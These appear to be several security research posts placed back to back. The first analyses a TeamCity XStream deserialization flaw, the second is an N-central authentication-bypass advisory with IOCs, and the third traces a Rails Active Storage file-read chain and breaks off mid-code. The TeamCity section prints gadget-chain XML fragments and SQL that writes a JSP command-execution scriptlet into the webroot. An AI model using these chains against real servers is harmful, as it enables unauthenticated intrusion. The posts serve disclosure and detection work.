Overview

On July 27, 2026, JetBrains published a security advisory for CVE-2026-63077, a critical unsafe deserialization vulnerability affecting JetBrains TeamCity. An attacker who can reach a TeamCity server over HTTP or HTTPS can exploit the agent polling protocol without credentials and execute operating system commands with the privileges of the TeamCity server process.

JetBrains reported no known active exploitation when it disclosed the vulnerability. However, on August 5, 2026, CISA added CVE-2026-63077 to its Known Exploited Vulnerabilities (KEV) catalog, confirming exploitation in the wild.

Our analysis finds that a vulnerable TeamCity server creates a permissive XStream allowlist. This allowlist is intended to restrict which Java classes can be deserialized when servicing unauthenticated agent requests. However, this allowlist incorrectly adds TeamCity protocol classes without removing XStream's existing default permissions. This introduces an unsafe deserialization issue. A patched TeamCity server remediates this by adding NoTypePermission.NONE before the TeamCity allowlist, which removes the default permissions and makes the allowlist exclusive.

Rapid7 Labs has verified that the patch successfully remediates the exploit described in this analysis. A proof-of-concept script for CVE-2026-63077 can be found here.

Analysis

Our analysis compares a vulnerable TeamCity version 2026.1.2 against a patched version 2026.1.3.

TeamCity uses a central server to coordinate builds and separate build agents to run them. An agent can communicate with the server through the agent polling protocol: it registers, asks the server for its next command, and reports whether that command succeeded or failed. The endpoints under /app/agents/v1 support this agent communication channel rather than the TeamCity web interface or REST API. A TeamCity-AgentSessionId HTTP header value identifies a polling connection, but it does not mean that either a user or agent has authenticated to TeamCity, as access to many agent endpoints remains unauthenticated.

XStream is a Java library that converts object graphs to XML and reconstructs those graphs from XML. An object graph can contain nested objects, collection entries, private fields, and references to an object that appeared earlier in the document. XStream aliases give Java types shorter XML names. For example, <linked-hash-map> is XStream's alias for java.util.LinkedHashMap. Nested element names and class attributes select other concrete Java types, while reference attributes point back to objects that XStream has already constructed. Converters and reflection-based code then allocate the selected types and populate their fields.

Patch diff

The class jetbrains.buildServer.messages.XStreamHolder is TeamCity's wrapper for creating and configuring XStream instances. TeamCity 2026.1.2 creates an instance of XStreamHolder, configures it, and then calls setupSecurityIfNeeded(). If the TeamCity allowlists contain entries, this method adds those entries to the permissions that XStream already installed:

// ./webapps/ROOT/WEB-INF/lib/messages.jar
package jetbrains.buildServer.messages;

public class XStreamHolder {

// ...

private void setupSecurityIfNeeded(XStreamWrapper xStream) {
  if (this.myAdditionalClassesWhiteList.isEmpty()
            && OUR_STATIC_CLASSES_WHITE_LIST.isEmpty()) {
    XStreamHolder.setupDefaultSecurityOldWay(xStream);
    return;
  }
    xStream.allowTypes(OUR_STATIC_CLASSES_WHITE_LIST.keySet()
        .toArray(new String[0]));                         // <--- [1]
    xStream.allowTypes(this.myAdditionalClassesWhiteList
        .toArray(new String[0]));                         // <--- [2]
}

The calls at [1] and [2] do not start from an empty permission set. The bundled XStream 1.4.20.3 constructor has already called setupSecurity(), which permits several broad type hierarchies, including Map and Throwable:

// ./webapps/ROOT/WEB-INF/lib/xstream.jar
package com.thoughtworks.xstream;

public class XStream {
// ...

protected void setupSecurity() {
  if (this.securityMapper == null)
    return; 
  addPermission(NoTypePermission.NONE);          // <--- Clears all existing permissions
  addPermission(NullPermission.NULL);
  addPermission(PrimitiveTypePermission.PRIMITIVES);
  addPermission(ArrayTypePermission.ARRAYS);
  addPermission(InterfaceTypePermission.INTERFACES);
  allowTypeHierarchy(Calendar.class);
  allowTypeHierarchy(Collection.class);
  allowTypeHierarchy(Map.class);                 // <--- Map is allowed
  allowTypeHierarchy(Map.Entry.class);
  allowTypeHierarchy(Member.class);
  allowTypeHierarchy(Number.class);
  allowTypeHierarchy(Throwable.class);           // <--- Throwable is allowed
  allowTypeHierarchy(TimeZone.class);
  // ...

Therefore, even though TeamCity has not explicitly allowed any types, several allowed types are already present on the permission list due to XStream's defaults. This is enough to lead to unsafe deserialization.

The patch from version 2026.1.3 can be seen in the diff below and shows how these default allowed types are now cleared by TeamCity:

+import com.thoughtworks.xstream.security.NoTypePermission;

+private static volatile boolean isWhiteListForced = true;

+public static void forceWhiteList(boolean force) {
+    isWhiteListForced = force;
+}

 private void setupSecurityIfNeeded(XStreamWrapper xStream) {
     if (this.myAdditionalClassesWhiteList.isEmpty()
             && OUR_STATIC_CLASSES_WHITE_LIST.isEmpty()) {
         XStreamHolder.setupDefaultSecurityOldWay(xStream);
         return;
     }
+    if (isWhiteListForced) {
+        xStream.addPermission(NoTypePermission.NONE);    // <--- [3] Clears all existing permissions
+    }
     xStream.allowTypes(OUR_STATIC_CLASSES_WHITE_LIST.keySet()
         .toArray(new String[0]));
     xStream.allowTypes(this.myAdditionalClassesWhiteList
         .toArray(new String[0]));
 }

The patched initializer turns the new behavior on before it populates the static allowlist:

 public static void initializeWhiteList() {
     String string = TeamCityProperties.getProperty(
         (String)"teamcity.xstream.additionalAllowedClassNames", (String)""
     );
     if ("*".equals(string)) {
         return;
     }
+    XStreamHolder.forceWhiteList((boolean)TeamCityProperties.getBooleanOrTrue(
+        (String)"teamcity.xstream.whiteList.forced"
+    ));                                                     // <--- [4]
     XStreamHolder.addClassesWhiteList((String[])CLASSES_WHITE_LIST);
     XStreamHolder.addClassesWhiteList((String[])string.split(","));
 }

XStream's SecurityMapper.addPermission() clears its permission list when it receives NoTypePermission.NONE. The allowTypes calls that follow [3] now operate on a deny-by-default baseline, i.e., Map and Throwable are no longer allowed types. The TeamCityProperties.getBooleanOrTrue() call at [4] means the new property defaults to true, so clearing the permission list at [3] will now occur by default on a patched server.

Root cause

The missing XStream class type permission reset is the root cause of CVE-2026-63077. TeamCity treats the configured classes as an allowlist, but XStream evaluates them alongside its earlier default permissions. In Java, a type hierarchy permission covers implementations and subclasses, not only the named type. Permitting Map therefore covers classes that implement Map such as LinkedHashMap, while permitting Throwable covers exception subclasses such as RuntimeException. These broad permissions expose enough object construction and reconstruction callbacks to assemble a working gadget chain.

The exploit also depends on how XStream's reflection converter handles declared fields and object references. Java reflection lets code inspect a class's field definitions at runtime and assign values to an object's fields. An explicitly represented class name or class attribute passes through SecurityMapper.realClass(). By contrast, an exact declared field already provides its Java type, allowing XStream to allocate that field without a second explicit type lookup. An XPath reference can then reuse the allocated object without another type check when the reference omits the redundant concrete class attribute. In this context, XPath is an address within the XML object graph, not a query against TeamCity data.

Applied here, this allows a deserialization payload that begins with TeamCity's HSQLMetadataStorage$SchemaMismatchException. This class extends RuntimeException, so XStream accepts it under the default Throwable hierarchy permission. Because it is a non-static inner class, it has a compiler-generated field pointing to its enclosing HSQLMetadataStorage instance. From there, the exact declared fields myHSQLStorage and myDataSource lead XStream to an org.apache.commons.dbcp2.BasicDataSource. XStream follows those field types without resolving BasicDataSource from an explicit element name or class attribute, even though TeamCity 2026.1.2 rejects that class when the XML names it directly. The patched version 2026.1.3 stops the chain earlier by rejecting SchemaMismatchException, which is absent from TeamCity's explicit protocol allowlist.

Triggering the vulnerability

First, the server accepts an agent registration request via an HTTP POST to the /app/agents/v1/register endpoint, and returns a new session identifier in the TeamCity-AgentSessionId response header.

The attacker then sends arbitrary XML to the error command endpoint with that server-issued session header via an HTTP POST to the /app/agents/v1/commands/error endpoint. The handler for this endpoint is the method handleCommands, shown below. This will validate the incoming request’s TeamCity-AgentSessionId header before calling the handler for the error command.

// ./webapps/ROOT/WEB-INF/lib/web-core.jar
package jetbrains.buildServer.controllers.agentServer;
private ModelAndView handleCommands(
          HttpServletRequest request,
          HttpServletResponse response,
          String[] path) throws Exception {
      String sessionId = request.getHeader("TeamCity-AgentSessionId");
      BuildAgentEx agent =
          sessionId != null ? findAgentBySessionId(sessionId) : null; // <--- validate agent session ID
      // This check occurs before the vulnerable handler is reached.
      if (agent == null) {
          response.setStatus(401);
          response.getWriter().write("Agent's session is not found");
          return null;
      }
      PollingRemoteAgentConnection connection =
          (PollingRemoteAgentConnection) agent.getConnection();
      if (path.length == 4) {
          String operation = path[3];
          if (operation.equals("error")) {
              getCommandsProcessor().handleCommandIsFailedRequest(
                  connection, request, response
              ); // <--- call the error handler
          }
      }
      return null;
  }

The method handleCommandIsFailedRequest will then proceed to unsafely deserialize the incoming request’s XML body.

// ./webapps/ROOT/WEB-INF/lib/web-core.jar
package jetbrains.buildServer.controllers.agentServer;

abstract class AbstractAgentCommandsRequestsProcessor implements AgentCommandsRequestsProcessor {
// ...

public void handleCommandIsFailedRequest(
        PollingRemoteAgentConnection connection,
        HttpServletRequest request,
        HttpServletResponse response) throws IOException {
    Error error = Error.fromXml(
        StreamUtil.readTextFrom(request.getReader())
    ); // <--- deserialize attacker's XML

    // ...
}

Error.fromXml() calls XStreamWrapper.deserializeObject(). By providing a suitable gadget chain in the incoming request’s XML body, we can achieve unauthenticated RCE via unsafe deserialization.

The gadget chain

The gadget chain's objective is to make TeamCity call BasicDataSource.getConnection() on an attacker-configured object. That getter starts the following path from deserialization to command execution:

1. The payload reconstructs a BasicDataSource configured to use TeamCity's bundled HSQLDB driver.

2. A collection callback causes FreeMarker to resolve the JavaBean property connection, which invokes BasicDataSource.getConnection().

3. Apache DBCP opens a new in-memory HSQLDB database and executes the SQL in connectionInitSqls.

4. The final SQL statement uses HSQLDB's SCRIPT command to write a malicious JSPWS file into TeamCity's webroot.

5. The attacker makes an HTTP request to that JSP file, executing the script's contents server-side, for example Runtime.getRuntime().exec() can be used to execute an attacker-controlled OS command.

The first four steps occur while TeamCity handles the malicious XML request. The fifth requires a second HTTP request. The object graph exists to solve two problems in the first two steps: XStream rejects BasicDataSource when the XML names it directly, and merely constructing a datasource does not call its getConnection() method.

Object graph construction

The payload's XML root is a three-entry LinkedHashMap. Entry one constructs and configures the datasource without naming its concrete class in a new XML node. Entry two presents that datasource to FreeMarker as an object whose properties can be read by name. Entry three forces a lookup of the property named connection.

Figure 1: High-level gadget chain flow to BasicDataSource.getConnection().

The entries appear in this order in the XML because the later entries refer to objects created by the earlier ones. XStream reconstructs them in document order, and the LinkedHashMap retains their insertion order in the resulting Java object.

Entry one: construct and configure the datasource

The first entry begins with HSQLMetadataStorage$SchemaMismatchException. This class extends RuntimeException, so XStream accepts it under the default Throwable hierarchy permission. It is a non-static Java inner class, which means the compiler gives each instance a hidden this$0 field pointing to its enclosing HSQLMetadataStorage object. XStream serializes that compiler-generated reference as outer-class.

The enclosing HSQLMetadataStorage declares a field named myHSQLStorage with the exact type HSQLStorage. That class, in turn, declares myDataSource with the exact type BasicDataSource. Because the XML does not represent either field with a new element type or class attribute, XStream follows the declared Java field types without performing another explicit lookup for those classes:

<jetbrains.buildServer.serverSide.metadata.impl.metadata.HSQLMetadataStorage_-SchemaMismatchException>
  <outer-class>
    <myHSQLStorage>
      <myDataSource>
        <driverClassName>org.hsqldb.jdbc.JDBCDriver</driverClassName>
        <url>jdbc:hsqldb:mem:<random></url>
        <userName>SA</userName>
        <connectionInitSqls>
<!-- attacker-controlled HSQLDB statements -->
</connectionInitSqls>
      </myDataSource>
    </myHSQLStorage>
  </outer-class>
</jetbrains.buildServer.serverSide.metadata.impl.metadata.HSQLMetadataStorage_-SchemaMismatchException>

XStream encodes the dollar sign in a Java inner-class name as _- when it creates an XML element name. The element ending in HSQLMetadataStorage_-SchemaMismatchException therefore identifies the Java class HSQLMetadataStorage$SchemaMismatchException.

Entry two: expose the datasource through FreeMarker

The first entry leaves a configured datasource in memory, but nothing has called it. The second entry makes its JavaBean properties available through a FreeMarker HashAdapter. HashAdapter extends AbstractMap, so XStream accepts the explicit class under its default Map hierarchy permission.

The adapter needs a FreeMarker model that can read properties from the datasource. The payload creates a BooleanModel through the exact BeansWrapper.falseModel field, then populates the model's inherited BeanModel.object field with a reference to the BasicDataSource in entry one instead of a Boolean value. Finally, HashAdapter.model refers to that BooleanModel:

<freemarker.ext.beans.HashAdapter>
  <wrapper>
    <!-- Class-introspection state from the PoC is omitted here. -->
    <falseModel>
      <object reference="../../../../../entry/jetbrains.buildServer.serverSide.metadata.impl.metadata.HSQLMetadataStorage_-SchemaMismatchException/outer-class/myHSQLStorage/myDataSource"/>
      <wrapper reference="../.."/>
      <value>false</value>
    </falseModel>
    <!-- Remaining BeansWrapper state from the PoC is omitted here. -->
  </wrapper>
  <model reference="../wrapper/falseModel"/>
</freemarker.ext.beans.HashAdapter>

The reference attributes preserve object identity rather than create copies. BooleanModel.object points to the existing datasource, HashAdapter.model points to the existing BooleanModel, and BooleanModel.wrapper points back to the same BeansWrapper. No reference introduces a new concrete class node. In particular, <object> does not repeat the BasicDataSource type, so XStream does not perform a new explicit lookup for that denied class. The shared BeansWrapper supplies the class introspection used later to resolve the connection property.

Entry three: trigger the property lookup

The graph can now resolve datasource properties, but it still needs an automatic callback to request one. The third entry uses a HashSet, accepted under XStream's default Collection hierarchy permission, and a Commons Collections TiedMapEntry, accepted under the default Map.Entry hierarchy permission. A TiedMapEntry ties a key to a backing map. Here, its map field refers to the HashAdapter from entry two, and its key is the string connection:

<set>
  <org.apache.commons.collections.keyvalue.TiedMapEntry>
    <map class="freemarker.ext.beans.HashAdapter"
         reference="../../../../entry[2]/freemarker.ext.beans.HashAdapter"/>
<key class="string">connection</key>
  </org.apache.commons.collections.keyvalue.TiedMapEntry>
</set>

The reference value is relative to the nested <map> element. Four ../ steps return to the LinkedHashMap root, and XPath's one-based entry[2] index selects the second entry. Reusing that adapter preserves its connection to the BooleanModel and, through the model, to the datasource from entry one.

Object construction now ends with one continuous route: TiedMapEntry to HashAdapter, HashAdapter to BooleanModel, and BooleanModel to BasicDataSource. At this point, no database connection has opened yet. The gadget chain triggers when XStream inserts the TiedMapEntry into the HashSet.

Triggering gadget execution

A HashSet stores elements by hash. When XStream inserts the reconstructed TiedMapEntry, HashSet.add() automatically calls TiedMapEntry.hashCode(). That method calls getValue(), which performs map.get(key) against the referenced HashAdapter with connection as the key. It is worth noting that this is a mechanism very similar to that used by the classic CommonsCollections6 ysoserial gadget. However, the existing CommonsCollections6 gadget cannot be used because TeamCity’s XStream permissions reject the ChainedTransformer and InvokerTransformer classes used by CommonsCollections6.

The resulting call to HashAdapter.get("connection") passes the property name connection to the referenced BooleanModel. BooleanModel inherits FreeMarker's BeanModel property lookup. JavaBeans use a naming convention in which a property named connection can be read through a public getConnection() method, so FreeMarker invokes BasicDataSource.getConnection().

A Java DataSource is a factory for Java Database Connectivity (JDBC) connections. BasicDataSource is the Apache Commons Database Connection Pooling (DBCP) implementation bundled with TeamCity. The payload configures it to load TeamCity's bundled HyperSQL Database (HSQLDB) driver and connect to a new in-memory database at a randomized jdbc:hsqldb:mem: URL. This database is separate from TeamCity's application database and requires no TeamCity database credentials. DBCP then runs the attacker-controlled connectionInitSqls, a list of SQL statements intended to initialize each new connection.

The initialization SQL creates a table containing a JSP scriptlet and asks HSQLDB to serialize the database to an attacker-selected path:

CREATE TABLE IF NOT EXISTS T<RANDOM>(C<RANDOM> VARCHAR(4000))
INSERT INTO T<RANDOM> VALUES ('<% ... Runtime.getRuntime().exec(command) ... %>')
SCRIPT '../webapps/ROOT/<random-hex>.jspws'

HSQLDB's SCRIPT statement writes a textual representation of the in-memory database to the supplied path. The payload places a JavaServer Pages (JSP) scriptlet inside a table row, so the resulting SQL script is also a valid JSP template (i.e. a polyglot). This mechanism is similar to the one used by Secfault Security as part of a LibreOffice exploit.

Executing a JSP payload

Apache Jasper is the JSP engine in TeamCity's servlet container. It compiles JSP source code into Java servlet code that handles an HTTP request, then runs that code inside the TeamCity server's Java process. Whether a path reaches Jasper depends on the servlet mappings in WEB-INF/web.xml. TeamCity defines realJspServlet as Jasper's org.apache.jasper.servlet.JspServlet, then maps the custom *.jspws extension directly to it. By contrast, TeamCity sends ordinary *.jsp requests to its buildServer dispatcher:

<servlet>
  <servlet-name>realJspServlet</servlet-name>
  <servlet-class>org.apache.jasper.servlet.JspServlet</servlet-class>
</servlet>

<servlet-mapping>
  <servlet-name>realJspServlet</servlet-name>
  <url-pattern>*.jspws</url-pattern>
</servlet-mapping>

<servlet-mapping>
  <servlet-name>buildServer</servlet-name>
  <url-pattern>*.jsp</url-pattern>
</servlet-mapping>

The buildServer servlet does not dispatch every direct .jsp request to Jasper. The corresponding JspController.doHandle() method first requires an internal TeamCity request, an authenticated TeamCity user, or an explicit configuration property that permits direct JSP requests. If these are not present, it returns HTTP 403 before the JSP runs:

// web-core.jar!jetbrains.spring.web.JspController

public class JspController extends BaseController implements CustomUrlHandler {
    protected ModelAndView doHandle(@NotNull HttpServletRequest httpServletRequest, @NotNull HttpServletResponse httpServletResponse) throws IOException, ServletException {
// ...
if (!RequestStackCalculationInterceptor.isInnerRequest(request)
        && SessionUser.getUser(request) == null
        && !TeamCityProperties.getBoolean(
            "teamcity.jsp.directRequests.allowed"
        )) {
    response.setStatus(403);
    response.getWriter().write("Access denied");
    return null;
}

We therefore target .jspws, as this allows a direct anonymous request to reach Jasper, compile the newly written file and execute it. This allows us to execute arbitrary Java such as Runtime.getRuntime().exec() which in turn can deliver the payload.

Exploitation

A proof-of-concept script for CVE-2026-63077 can be found here. Organizations can use this script to validate their detection and remediation posture. The exploit script will leverage the gadget chain described in this analysis to write a malicious JSPWS file in order to execute an arbitrary command, before deleting the JSPWS file from disk. An example of its operation is shown below in Figure 2.

Figure 2: Proof-of-concept exploitation.

The vendor-supplied patch, version 2026.1.3, has been verified to successfully prevent the unsafe deserialization of the gadget chain presented in this analysis. The teamcity-server.log file on a patched system shows the new XStream NoTypePermission.NONE added by the patch to effectively prevent the gadget chain's first entry, HSQLMetadataStorage$SchemaMismatchException, from having its type successfully resolved.

[2026-08-07 01:53:09,794]  ERROR -   jetbrains.buildServer.SERVER - Error com.thoughtworks.xstream.security.ForbiddenClassException: jetbrains.buildServer.serverSide.metadata.impl.metadata.HSQLMetadataStorage$SchemaMismatchException; while processing request: POST '/app/agents/v1/commands/error', from client 192.168.86.70:58356, user-agent "Python-urllib/3.10", no auth

com.thoughtworks.xstream.security.ForbiddenClassException: jetbrains.buildServer.serverSide.metadata.impl.metadata.HSQLMetadataStorage$SchemaMismatchException
	at com.thoughtworks.xstream.security.NoTypePermission.allows(NoTypePermission.java:26)
	at com.thoughtworks.xstream.mapper.SecurityMapper.realClass(SecurityMapper.java:74)
	at com.thoughtworks.xstream.mapper.MapperWrapper.realClass(MapperWrapper.java:125)
	at com.thoughtworks.xstream.mapper.CachingMapper.realClass(CachingMapper.java:47)
	...

IOC

On an exploited system, the TeamCity server logs will contain detailed exception traces due to the deserialization gadget causing a Java exception to be thrown. For example, in the log file C:\TeamCity\logs\teamcity-server.log the following may be present. This identifies the vulnerable URI path, the attacker's IP address, and an exception that correlates to the gadget chain being used for exploitation. Note: the full stack trace has been removed for brevity:

[2026-08-07 00:36:36,467]  ERROR -   jetbrains.buildServer.SERVER - Error com.thoughtworks.xstream.converters.ConversionException: 
---- Debugging information ----
cause-exception     : freemarker.template.utility.UndeclaredThrowableException
cause-message       : freemarker.core._TemplateModelException: An error has occurred when reading existing sub-variable "connection"; see cause exception! The type of the containing value was: boolean+extended_hash (org.apache.commons.dbcp2.BasicDataSource wrapped into f.e.b.BooleanModel)
class               : java.util.HashSet
required-type       : java.util.HashSet
converter-type      : com.thoughtworks.xstream.converters.collections.CollectionConverter
path                : /linked-hash-map/entry[3]/set/org.apache.commons.collections.keyvalue.TiedMapEntry
line number         : 104
class[1]            : java.util.LinkedHashMap
required-type[1]    : java.util.LinkedHashMap
converter-type[1]   : com.thoughtworks.xstream.converters.collections.MapConverter
version             : 2026.1-222647
-------------------------------; while processing request: POST '/app/agents/v1/commands/error', from client 192.168.86.70:52728, user-agent "Python-urllib/3.10", no auth

com.thoughtworks.xstream.converters.ConversionException: 
---- Debugging information ----
cause-exception     : freemarker.template.utility.UndeclaredThrowableException
cause-message       : freemarker.core._TemplateModelException: An error has occurred when reading existing sub-variable "connection"; see cause exception! The type of the containing value was: boolean+extended_hash (org.apache.commons.dbcp2.BasicDataSource wrapped into f.e.b.BooleanModel)
class               : java.util.HashSet
required-type       : java.util.HashSet
converter-type      : com.thoughtworks.xstream.converters.collections.CollectionConverter
path                : /linked-hash-map/entry[3]/set/org.apache.commons.collections.keyvalue.TiedMapEntry
line number         : 104
class[1]            : java.util.LinkedHashMap
required-type[1]    : java.util.LinkedHashMap
converter-type[1]   : com.thoughtworks.xstream.converters.collections.MapConverter
version             : 2026.1-222647
-------------------------------
	at com.thoughtworks.xstream.core.TreeUnmarshaller.convert(TreeUnmarshaller.java:81)
	at com.thoughtworks.xstream.core.AbstractReferenceUnmarshaller.convert(AbstractReferenceUnmarshaller.java:72)
	...

A similar exception in a javaLogging file (for example, C:\TeamCity\logs\teamcity-javaLogging-2026-08-07.log) will also show the gadget chain’s JSPWS payload as part of an org.hsqldb.HsqlException message:

07-Aug-2026 00:36:36.462 SEVERE [http-nio-8111-exec-4] org.apache.catalina.core.StandardWrapperValve.invoke Servlet.service() for servlet [buildServer] in context with path [] threw exception [Request processing failed; nested exception is com.thoughtworks.xstream.converters.ConversionException: 
---- Debugging information ----
cause-exception     : freemarker.template.utility.UndeclaredThrowableException
cause-message       : freemarker.core._TemplateModelException: An error has occurred when reading existing sub-variable "connection"; see cause exception! The type of the containing value was: boolean+extended_hash (org.apache.commons.dbcp2.BasicDataSource wrapped into f.e.b.BooleanModel)
class               : java.util.HashSet
required-type       : java.util.HashSet
converter-type      : com.thoughtworks.xstream.converters.collections.CollectionConverter
path                : /linked-hash-map/entry[3]/set/org.apache.commons.collections.keyvalue.TiedMapEntry
line number         : 104
class[1]            : java.util.LinkedHashMap
required-type[1]    : java.util.LinkedHashMap
converter-type[1]   : com.thoughtworks.xstream.converters.collections.MapConverter
version             : 2026.1-222647
-------------------------------] with root cause
	org.hsqldb.HsqlException: file input/output error: ../webapps/ROOT/682aed03b49b.jspws already exists
		at org.hsqldb.error.Error.error(Unknown Source)
	...

Remediation

For remediation guidance, please see Rapid7’s Emergent Threat Response blog for CVE-2026-63077, which contains further details.

Overview

On August 2, 2026, N-able published a security advisory for CVE-2026-18577, an authentication bypass vulnerability affecting N-central that was discovered being exploited in-the-wild after an incomplete fix for an earlier authentication bypass issue, CVE-2026-18556 was disclosed. CVE-2026-18577 allows a remote unauthenticated attacker to bypass authentication and obtain administrative control of vulnerable N-central servers in affected deployments.

N-able N-central is a widely deployed Remote Monitoring and Management (RMM) platform used by managed service providers (MSPs) and enterprise IT teams to centrally administer servers, workstations, network devices, and other managed assets. Because the platform operates with extensive administrative privileges across customer environments, successful compromise of an N-central server can provide attackers with an efficient path to compromise downstream managed systems.

According to N-able, exploitation of CVE-2026-18577 has been observed in the wild since August 1, 2026. Following successful exploitation, attackers leveraged the platform's Take Control functionality to remotely access managed endpoints, and deployed Cloudflare Tunnel (cloudflared) to establish persistent remote access. On August 3, 2026, CVE-2026-18577 was added to CISA’s Known Exploited Vulnerability (KEV) catalog and on August 5, 2026, CVE-2026-18556 was also added to the catalog.

Mitigation guidance

Organizations operating vulnerable N-central deployments should prioritize remediation on an urgent basis, outside of normal patching schedules. Hosted N-central environments are upgraded automatically by the vendor, while on-premise deployments require manual remediation.

Affected versions:

• All versions of N-able N-central up to and including version 2026.3.1, prior to Hotfix 1.

Fixed version:

• N-able N-central 2026.3.1 Hotfix 1 (2026.3.1.7).

The vendor also recommends:

• Upgrading N-central agents after applying the server hotfix.

• Reviewing systems for indicators of compromise.

• Contacting N-able Support immediately if evidence of compromise is discovered.

• Engaging internal incident response teams if malicious activity is identified.

For further information, see the vendor advisory.

IOCs

N-able has published several artifacts that administrators should investigate during incident response.

Endpoint Artifacts:

• Presence of a Cloudflared service.

• A suspicious svchost.exe located within the user's Documents folder.

Network Indicators:

• Administrators should review historical network logs for inbound or outbound communication involving the malicious IP addresses identified by the vendor:

• 173[.]249[.]252[.]200

• 87[.]249[.]138[.]34

• 37[.]19[.]210[.]32

• 37[.]153[.]90[.]88

• 92[.]118[.]112[.]181

• 68[.]235[.]46[.]214 

Organizations should also review:

• Authentication logs

• Administrative account creation or modification

• Take Control session activity

• Remote management logs

• Windows service installation events

To assist affected organizations running N-central, the vendor has provided a detection template for CVE-2026-18577, which organizations can use to help identify potential compromise.

Rapid7 customers

Exposure Command, InsightVM, and Nexpose

Exposure Command, InsightVM, and Nexpose customers can assess exposure to CVE-2026-18577 and CVE-2026-18556 with vulnerability checks available in the August 4 content release. Note that potential check type must be enabled in the scan template before scanning.

Updates

• August 4, 2026: Initial publication.

• August 4, 2026: Updated Rapid7 customers section to reflect the availability of vulnerability checks.
• August 7, 2026: Updated the Overview and Rapid7 Customers sections to indicate addition of CVE-2026-18556 to CISA KEV and availability of vulnerability checks.

Overview

On July 29, 2026, the Ruby on Rails project published a security advisory for CVE-2026-66066, an arbitrary file read in Active Storage applications that use the Vips image processor with untrusted uploads. The affected Active Storage ranges are < 7.2.3.2, >= 8.0, < 8.0.5.1, and >= 8.1, < 8.1.3.1. Vips is the default Active Storage variant processor for applications that load Rails 7.0 or later defaults. Rails 6 applications are affected only when they explicitly configure Vips.

Our Emergent Threat Response blog covers the affected versions, mitigation guidance, and current exploitation status. This post traces the request from the direct-upload endpoint to the HDF5 read, then shows how the arbitrary file read can expose Rails signing material and become code execution. A vulnerable application can disclose arbitrary files before the attacker has recovered a Rails secret or forged a token. A genuine Active Storage variation_key from the same application, paired with a direct-upload blob whose stored content_type claims to be an image, is enough to reach a libvips loader that turns a crafted MAT/HDF5 file into an arbitrary file-read oracle.

We reproduced the published chain against Rails 6.0.6.1, 6.1.7.10, 7.2.3.1, 8.0.5, and 8.1.3, and confirmed that patched 7.2.3.2, 8.0.5.1, and 8.1.3.1 targets block the crafted representation. We also validated a remote code execution (RCE) path that uses only JSON-compatible Hash, Array, and String values in a signed variation. That path reaches Kernel#spawn or Kernel#eval through ImageProcessing's chain builder, and it worked when Rails was configured with config.active_support.message_serializer = :json.

The advisory covers the vulnerable Active Storage configuration. The MAT/HDF5 representation chain shown here has narrower requirements. The deployed libvips build must expose matload with MAT 7.3/HDF5 support, the application must preserve an attacker-supplied content_type, and the attacker must be able to trigger a representation, for example with a genuine variation key. Those requirements narrow where this particular chain works, but the underlying issue is that Active Storage handed untrusted uploads to libvips operations that libvips already marked unsafe for untrusted content.

The attack can be summarized as follows:

[Attacker]
   |
   | 1. Creates a direct-upload blob with content_type = image/png
   v
[Rails stores the blob as an image without examining the bytes]
   |
   | 2. Reuses a genuine variation_key from the same application
   v
[Rails accepts the blob as variable and starts a representation]
   |
   | 3. image_processing hands the local tempfile path to libvips
   v
[libvips matload]
   |
   | 4. Bytes 0-9 match "MATLAB 5.0"
   v
[libmatio]
   |
   | 5. Bytes 124-125 contain MAT_FT_MAT73 (0x0200)
   v
[HDF5 external storage]
   |
   | 6. Dataset bytes come from attacker-chosen path + offset
   v
[Rendered PNG representation]
   |
   --> Target file bytes are returned as image pixels

Analysis

The published chain contains two separate trust failures. Rails decides that a blob is an image from a database value, while libvips decides what parser to use from the bytes on disk. Once the file reaches matload, libvips and libmatio disagree again about the same MAT header. libvips only looks at the first ten bytes, while libmatio selects the MAT version from bytes 124 and 125.

Direct upload stores an attacker-controlled type

The standard direct-upload endpoint creates the blob record before the service receives the file. In Rails 8.0.5, ActiveStorage::DirectUploadsController#create accepts content_type directly from the request and passes it into create_before_direct_upload!:

class ActiveStorage::DirectUploadsController < ActiveStorage::BaseController
  def create
    blob = ActiveStorage::Blob.create_before_direct_upload!(**blob_args) # <-- [1]
    render json: direct_upload_json(blob)
  end

  private
    def blob_args
      params.expect(blob: [:filename, :byte_size, :checksum, :content_type, metadata: {}]).to_h.symbolize_keys # <-- [2]
    end

    def create_before_direct_upload!(key: nil, filename:, byte_size:, checksum:, content_type: nil, metadata: nil, service_name: nil, record: nil)
      metadata = filter_metadata(metadata)
      create! key: key, filename: filename, byte_size: byte_size, checksum: checksum, content_type: content_type, metadata: metadata, service_name: service_name # <-- [3]
    end

At [1] and [2], the endpoint accepts content_type from the client. At [3], Active Storage writes that value directly to the blob record. The direct-upload path never runs the server-side unfurl flow that would identify the bytes with Marcel. When we uploaded the same crafted file through a normal multipart attachment in the lab, Rails re-identified it as MATLAB data before variant processing, so it did not pass the image gate.

Once the direct-upload blob exists, Blob#variable? uses only the stored database value to decide whether the blob can be transformed. On the representation path, no built-in previewer accepts image/png, so the blob falls through to variant:

  def variant(transformations)
    if variable?
      variant_class.new(self, ActiveStorage::Variation.wrap(transformations).default_to(default_variant_transformations))
    else
      raise ActiveStorage::InvariableError, "Can't transform blob with ID=#{id} and content_type=#{content_type}"
    end
  end

  # Returns true if the variant processor can transform the blob (its content
  # type is in +ActiveStorage.variable_content_types+).
  def variable?
    ActiveStorage.variable_content_types.include?(content_type) # <-- [4]
  end

At [4], Rails performs a set-membership check against the stored content_type. No file bytes are examined. A crafted MAT/HDF5 object stored as image/png reaches the image variant pipeline.

A genuine variation key can be replayed against another blob

The standard representation route accepts a signed blob ID and a signed variation key as separate parameters. Rails resolves them independently:

module ActiveStorage::SetBlob # :nodoc:
  extend ActiveSupport::Concern

  included do
    before_action :set_blob
  end

  private
    def set_blob
      @blob = blob_scope.find_signed!(params[:signed_blob_id] || params[:signed_id]) # <-- [5]
    rescue ActiveSupport::MessageVerifier::InvalidSignature
      head :not_found
    end

    def blob_scope
      ActiveStorage::Blob
    end
end

class ActiveStorage::Representations::BaseController < ActiveStorage::BaseController # :nodoc:
  include ActiveStorage::SetBlob

  before_action :set_representation

  private
    def blob_scope
      ActiveStorage::Blob.scope_for_strict_loading
    end

    def set_representation
      @representation = @blob.representation(params[:variation_key]).processed # <-- [6]
    rescue ActiveSupport::MessageVerifier::InvalidSignature
      head :not_found
    end
end

    # Returns a Variation instance with the transformations that were encoded by +encode+.
    def decode(key)
      new ActiveStorage.verifier.verify(key, purpose: :variation) # <-- [7]
    end

